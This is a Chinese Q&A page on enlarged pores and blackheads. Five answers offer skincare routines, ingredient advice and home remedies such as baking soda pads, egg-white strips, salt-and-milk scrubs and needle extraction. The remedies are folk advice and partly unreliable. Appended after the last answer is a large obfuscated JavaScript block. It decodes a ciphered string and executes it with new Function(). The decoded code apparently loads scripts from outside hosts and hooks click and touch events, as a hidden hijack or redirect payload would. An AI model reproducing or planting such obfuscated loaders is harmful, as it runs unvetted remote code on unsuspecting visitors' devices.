毛孔粗大,几乎全脸都有黑头怎么办?

2025-02-07 03:40:23
推荐回答(5个)
回答1:

不知道你的年纪,不过,我估计您是堵塞型的毛孔.通过以下描述自检--
遍布白色`红色`黑色的小斑点,每个毛孔都被堵塞得严严实实,多余的角质像盖子一样让毛孔中的油脂污垢堆积,由于油脂被氧化,还会出现炎症或色素沉淀.
当务之急是,去除!清洁毛孔.彻底去除顽固的堵塞堆积,重塑清洁的毛孔.为了不让多余的角质和油脂堆积在毛孔上,需要每天对它进行护理和关心.
选择保养品中一定要有的成分,角质代谢成分(甘醇酸`乳酸`植酸`氨基酸或者A酸衍生物`酵素等)溶解粉刺成分(水杨酸等).

当然你还可以根据自己的情况,对一下两种情况自检.

油脂型毛孔:不断地流出油脂,用手指按压又会不断扩大.过盛的油脂在毛孔中扩张,滚滚地涌出.比较畏惧油光,整天吸油纸不离手的人就属于这一类型.
当务之急是吸附~!彻底清除干净.吸附分泌出的过剩油脂,使毛孔处于理想状态,从内部调节水油平衡,控制油脂的分泌量.
选择保养品中要有的成分:调理油脂分泌成分(海藻萃取`Zn-PCA`葡萄糖酸锌等)`抗菌收敛成分(姜根`肉桂`地榆等).

老化型毛孔:粉底根本盖不住!随着年龄的增加,及紫外线的曝晒`干燥以及氧化带来的影响,毛孔周边的胶原`弹力组织会逐渐改变结构的特性,张力弹性减弱,毛孔周围的肌肤会变得松弛,毛孔因为失去周围的支撑就变大了~!这种类型的皮肤,很容易发生"毛孔卡粉"问题,让清洁工作变得难上加难.
当务之急是关闭!令肌肤紧致!!通过弹力作用,在湿润环境下对肌肤进行护理,增强毛孔周围肌肤的支撑力,结合去角质的这种复合护理方式`做好防晒`也是非常必要.
选择的保养品中一定要有的成分是抗氧化成分(左旋C`酯化酸植物多酚`SOD`SOP`Q10`艾地苯等)肌肤再生成分(A酸的衍生物`DHEA`植物性荷尔蒙`凯因庭`生长因子等)

实践经验NO.1
毛孔排出未经及时清理而积存下来,再经过氧化继而恶化的皮脂是毛孔粗大的元凶,所以,皮脂一经溢出就马上洗掉,让皮脂无法积存,这是铁定的法则.如果能预先把握住皮脂涨潮的场合,那么通过事前的稍稍处理,就可能防止"大洪水"的发生.一般来说,进餐时新陈代谢会增强,餐前用面巾纸轻轻按压T区,迅速地吸一下油.我也比较推崇用那些含有多孔性高分子粉体的散粉或者蜜粉,这些粉体不吸水只吸油,含有的矽化物(Silica)可以使肌肤表面平滑`填补凹洞.一些光线修饰成分更利用光学折射原理,让毛孔穿上隐形衣.

实践经验NO.2
白天使用含左旋维他命C和玻尿酸的精华液,加强肌肤的抗氧化力和保湿度,调理肌肤的出油状况.当然防晒绝对不能少!怎舍得本来就一句负荷累累的毛孔再经受失去弹性变松弛的噩梦.最好再能够选择一款使皮脂量一目了然的吸油纸当做晴雨表,每日监测皮脂分泌情况,以调整自己的反孔策略.

实践经验NO.3
晚间清洁自然重要.个人经验是先用卸妆乳,之后使用温和型的卸妆水(听上去会有点本末倒置的嫌疑,但效果不错).我会先将大量卸妆乳在手掌摩擦加热,然后在针对毛孔问题严重的肌肤区域不断地进行小螺旋按摩,之后,肌肤会变得柔软温和.既清洁了毛孔,又使毛孔因舒缓而收缩.然后再用化妆棉浸湿卸妆水做查漏补缺,将卡在毛孔中的顽固污垢以及洗面产品造成的新垃圾一齐清除出毛孔.

实践经验NO.4
每晚清洁肌肤后,用发达经检查毛孔,瞄准问题毛孔,对于顽固的毛孔堵塞,会用去黑头专用小毛巾来耐心擦拭,活用消毒后的粉刺针把里面的角栓挤出来.用收敛水轻拍肌肤.然后用"冷却啫喱贴"镇静皮肤,保持毛孔壁的弹性.记住:"进攻性"护理之后,必须进行"舒缓调养".

实践经验NO.5
毛孔口毕竟只是排油口,要让整个管道畅通,势必定期开展深层疏通,将皮脂腺中囤积的国旗酸败油脂完全排除.物理性的磨砂产品,如同用干燥的毛巾擦橘子皮,颗粒再细,也无法清理卡在缝隙中的污垢.所以我选择每周敷1-2次含角质分解酶的软化面膜,同时用整齐喷雾加温加湿,这样再深层的污垢也会顺畅代谢出来.

两周后,将盘踞毛孔已久的油脂清除干净,立刻给人清洁的印象,肌肤表面也会达到极致光滑的状态.

希望你早日解决难题,to be pretty woman.

回答2:

教你我搜的几招,都超简单超实惠,自己在家就能搞定,帮你解决大麻烦~

1.在干净的容器内倒入少量清水,放入少量小苏打粉搅拌均匀 然后,用棉片(鼻头大小),浸泡在小苏打水里敷在鼻头上或任何有黑头的地方,10分钟。 最后,用干净的纸巾轻轻(注意要轻轻的哦)揉鼻头,你会发现,黑头几乎全部出来了
2. 打个鸡蛋,只要把蛋清不要倒那么干净,蛋壳里剩下的蛋清就足够用了,一点都不浪费,把蛋清均匀涂在用洁面乳洗干净的鼻子上,涂一层就好了,太多了会流到鼻子和嘴巴里,剪一块合适大小的面巾纸,贴到刚涂上蛋清的鼻子上,尽量弄展,皱巴巴的影响效果,再在贴了面巾纸的鼻子上继续涂蛋清,均匀涂两三层左右就好,以不滴下来为准,过10-15分钟,等面巾纸干透,从下往上轻轻撕下来,你就会惊喜地发现面巾纸上密密麻麻的黑头白头,太有成就感了,我都舍不得扔,这时候就该收缩水登场了,爽肤水也行,最好是把化妆棉浸透敷个十来分钟的,效果很不错。ps:黑头多的话刚开始做的勤一点,隔三四天就可以,以后看情况慢慢延长周期.据说蛋清是最不刺激皮肤的,而且这种方法绝对不会把毛孔扯大哦!
3. 鸡蛋壳内层的那层膜,把它小心撕下来贴在鼻子上,等干后撕下来。
4. 洗脸后趁皮肤没有干透,用盐(烧菜的盐就可以了)适量涂在鼻子上打圈圈按摩,你会感觉盐慢慢融化(偶用的是细盐),继续按摩,过十分钟左右(自己可以感觉)用清水洗干净。
5. 用4~5滴牛奶兑盐,在盐半溶解状态下开始用来按摩,由于此时的盐未完全溶解仍有颗粒,所以在按摩的时候必须非常非常小力,半分钟后用清水洗去,不能太久了,为了让皮肤重新分泌干净的油脂保护,所以洗完之后不要再擦任何东西在洗过的皮肤上了。
6. 取适量珍珠粉放入小碟中,加入适量清水,将珍珠粉调成膏状,好的珍珠粉均匀地涂在脸上。部按摩的手法在脸上按摩,直到脸上的珍珠粉变干,再用清水将脸洗净即可。每周可用两次。能很好地去除老化的角质和黑头。 特别提醒,想把黑头清除而不想毛孔变大,不论用何种方法,事前最好先蒸一蒸面,令毛孔自然张开,除了有助于排出毒素外,也有助于清洁。清除完黑头后,用冰冻蒸馏水或爽肤水敷于鼻子和T字部位,除能镇静皮肤外,还可以收缩毛孔。(珍珠粉去黑头,因为相对珍珠粉其他的美容方法,按摩上时间要求久一点,所以不宜频繁使用,建议一周2-3次,否则会带来干燥、脱皮等问题,不过停用即会症状消失。)
7. 每次蒸完米饭捏一小团在脸上轻柔,说会把脏东西都带下来。据说她认识的老太太从不做美容,但是皮肤非常好,就用的是这个法子!使用饭团在脸上轻轻滚,然后应该是洗脸的。

试试吧~~祝你早日消除烦恼~~o(∩_∩)o...

回答3:

各种类型毛孔粗大与黑头的解决办法:

一、油脂型毛孔
成因
  皮脂分泌旺盛,这种毛孔粗大的情况通常伴随着粉刺与青春痘问题,常发于油性肌肤、青春期以及T字部位。
解决措施——抑制皮脂分泌
  针对皮脂分泌旺盛所导致的毛孔粗大问题,则需要从根本做起,将皮脂分泌减少,在收敛毛孔的保养品中,最常见的成分就是一些清凉剂,如:酒精、薄荷类的成分,或是海藻萃取成分,达到收敛毛孔、调节油脂的目的。
二、角质型毛孔
成因
  熬夜、生活不规律、换季与受雄性荷尔蒙的影响,使得角质代谢速率不正常,粗厚角质堆积在毛孔周围,就会让毛孔变得粗糙,同时也容易被阻塞,导致形成黑头、白头粉刺,并且逐渐撑大毛孔内部,这种现象最容易出现在额头、鼻翼以及两侧的脸颊部位。
解决措施——护理角质层
 囤积在毛孔中的就是肌肤分泌的油脂、角质与外在脏污混合而成的“角栓现象”,此时,若不将这些脏东西有效清除,日积月累,就会出现黑头粉刺。
  针对角栓现象,除了要定期进行去角质工作之外,日常最佳的保养方法就是运用含果酸或水杨酸的产品,每天晚上薄薄的涂一层,大约一周,就能看到肌肤有所改善。这些产品除了能帮助去角质之外,还能让肌肤看起来比较整齐,达到缩小毛孔的目的。
三、缺水型毛孔
成因
  角质一旦吸饱了水,就会像吸了水的海绵一样膨胀起来,毛孔周围的细胞吸满了水膨胀起来,毛孔自然就会变得不明显;反之,肌肤表面缺水,角质层就会出现干燥、粗糙的外观,毛孔变得更加明显。
解决措施——补水保湿
  很多人在酷热的夏天都会忽略这一点,因为夏天最容易出现的肌肤状况就是冒油、泛油光,因此很多人第一反应就是吸油,但其实在拼命吸油的同时,不仅将油分带走,连水分也被吸干了。
  在改善毛孔粗大时,补水也是很重要的一个环节。应该透过大量的保湿补水,来自动恢复正常的水油比例,帮助肌肤回归健康的纹理。只要让肌肤拥有足够的水分,水分就能帮助肌肤纹理细致,自然就能有效的缩小毛孔了。
四、老化型毛孔
成因
  通常超过25岁以后,毛孔就会逐渐出现松弛性的粗大问题,加上外在环境的侵蚀,真皮层内的弹力纤维、胶原蛋白就开始松垮、断裂,造成肌肤张力与弹性不佳,失去周围支撑力的毛孔,就会出现椭圆形的毛孔粗大形态。这种情形最容易出现在法令纹附近的脸颊部位。
解决措施——抗衰老
  针对松弛老化所引发的毛孔粗大现象,解决之道就是加强肌肤紧致,使用像是含有维他命A、左旋维他命C、五胜肽、酵母等成分的产品,来帮助胶原蛋白的增生,重建真皮的结蒂组织,同时保持毛囊壁的弹性,让毛孔恢复年轻肌肤的紧致外观。

充足的睡眠、合理的饮食、不抽烟、少喝酒、心理的健康,是水嫩皮肤的基础。

回答4:

  那么参考一下我的回答吧,这是我的亲身经历哦!
  首先,几乎可以肯定的告诉你,没有什么好东西可以一劳永逸的告别黑头的,真正想要去除,就得注意好平时的生活习惯,希望以下的回答能够帮助你了!
  我的回答是复制我自己原创出来的长篇大论,谢谢!如果你不喜欢你可以无视的哦!
  关于去黑头还有种种皮肤问题,个人主张的办法是注意清洁和生活习惯!象网上的那样即使有效果也只能维持一时,真正要去除,平常的生活习惯非常重要!象我前不久是告别黑头了啦,现在又有点点了,为什么呢?因为我最近熬夜了,清洁也没怎么注意,结果黑头又出来了,因此我用我的亲自的经历告诉你,如果想要去黑头,象什么注意清洁,少碰油腻的东西,还有不要熬夜都很重要,不然黑头只会去而复返,永远都无法真正的做到告别哟!希望以下的回答能够帮助你了!
  有关毛孔粗大,黑头的形成还有皮肤起痘痘。其实都只是因为洗脸时没有仔细的关系:当然生活习惯不太好也是一种原因了!其实呢黑头是一种脏东西的集成,比喻洗脸时很认真的洗了一会,可是冲洗时不认真,不少人就是认真的洗了一下脸后,马马虎虎的的用水冲洗几下就护肤,这样是最难把东西给清洗干净的乐,因为本来示好不容易把脏东西给弄出来叭,可是冲洗不彻底,脏东西再度回到毛孔,长此以往、毛孔处发黑,毛孔被撑大,以致人一种毛孔粗大的感绝,然后由于脏东西长期没有得不到及时的清除,就会堆在毛孔里面〕久而久之就形成黑头了,这种情况下的话当然就越弄越糟了!楼主觉得呢?所以注意清洁才是关键的第一1步啦。,再加心情烦燥些许啦,熬夜看球赛之类的吧,油腻食物过多、象我前段时间吃夜宵时吃了辣的东西食物,结果这段时间皮肤开始变得很坏了,不开心哇!所以呢要改善这些生活习惯对你来说很重要,黑头其实很难轻易的去掉勒,但是可以通过注意清洁卫生和改善生活的坏习惯来慢慢调节的了,不然也没啥好办法了

  试试我的清洁方式叭:“
  洗脸前,可以先用肥皂或洗手液充分充分的把手洗干净AFTER后,然后往脸上轻泼几道水,感觉脸上足够湿润之时,再往手心倒入适量洁面乳,稍微搓揉一下,再往脸上轻轻按摩一分钟后,再用清水轻轻往脸部泼洗15次左右,这样做的目的是,不仅充分的去除了脸上的污垢,还把毛孔里残留的洗面奶一并清除干净了、为剩下的护肤工作做好打底工作==.
  而且,水温以不高过脸部的温度为宜,以洗脸时脸部感觉舒服最好,因为这样才能真正的洁肤!太烫了或者水温太冷都不利于清洁的啊90

  另外,把脸清洁完之逅5,可以用些祛黑头的东西,能起到各些辅助去黑头的de作用,但是呢我本人对去黑头的不是很信任,我也有过黑头的啊,后来自己也慢慢没了,都是一些坏习惯造成的啦,所以呢,洗好脸后用上爽肤水收紧毛孔和保湿乳液就可以慢慢缩小毛孔了!只有这样来慢慢调理皮肤好了、其余的也没就没有什么好办法了、09

  平常的保养办法就是每天洁肤后及时拍上收敛水和保湿乳液,一周可适当做一次面膜,具体要依皮肤的情况而定,这样就可以慢慢的调皮肤,并且帮助毛孔收缩了,但如果敏感有不舒服感觉的话,最好不要勉强做,以免伤害皮肤,去黑头是一个很长期的工作,所以需要你耐心的进行调理啦!

  本人原创回答,谢绝复制抄袭转载,一经发现,必将追问其当事的人的责任!

回答5:

推荐一个我用过的方法吧~超赞的~
用热毛巾敷脸1分钟,然后用洗面奶洗脸,之后找到凤凰甘油,或者橄榄油或者BB油
揉啊揉,轻点哦,大概3到5分钟,然后要用那种美容针,就是那个挤黑头的~
就可以把黑头挤掉!!!很轻易地挤掉!!!

去美容院也只是用机器把毛孔蒸开,然后用美容针帮你挤~
自己挤还知道轻重,别人,就不一定了。
一定要试试哦~

还有是朋友推荐的,没用过,你可以试试~
用小苏打、纯净水、棉片和纸巾,小苏打是可以食用的那一种。首先将小苏打加纯净水和开,将棉片浸入放了小苏打的水中,再拧干。然后把棉片贴在有黑头的地方,约15分钟后取下。最后用纸巾轻轻揉出黑头粉刺即可。因为小苏打粉是碱性的,油脂是酸性的,所以会进行酸碱中和,黑头粉刺就会被软化,不会堵在毛孔处。而且用这种方法不会伤害到真皮层,毛孔粗大的问题也不用担心。

还有搜到的秘方~据说很好用~

去黑头独门秘方:盐加牛奶去黑头
1、最好用没有用过的食盐,可以在刚开封时用小瓶单独装起来;

2、每次用4~5滴牛奶兑盐,在盐半溶解状态下开始用来按摩;

3、由于此时的盐未完全溶解仍有颗粒,所以在按摩的时候用力必须非常轻;

4、半分钟后用清水洗去,不能太久了;

5、为了让皮肤重新分泌干净的油脂保护,所以洗完之后不要再擦任何东西在洗过的皮肤上了。

注意事项:有豆豆或者伤口之类皮肤的肯定会痛,慎用;敏感肤质者不提倡使用该方法。

建议产品:用洗面盐,用的时候可以取一小勺在手上,用几滴清水调和,就变成浓浓的液体,然后把这个液体在鼻子上按摩一会,再洗掉就OK了。

希望这些方法对你有用~

收毛孔用收敛水~我现在用妮维雅的水水,不贵又好用~

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();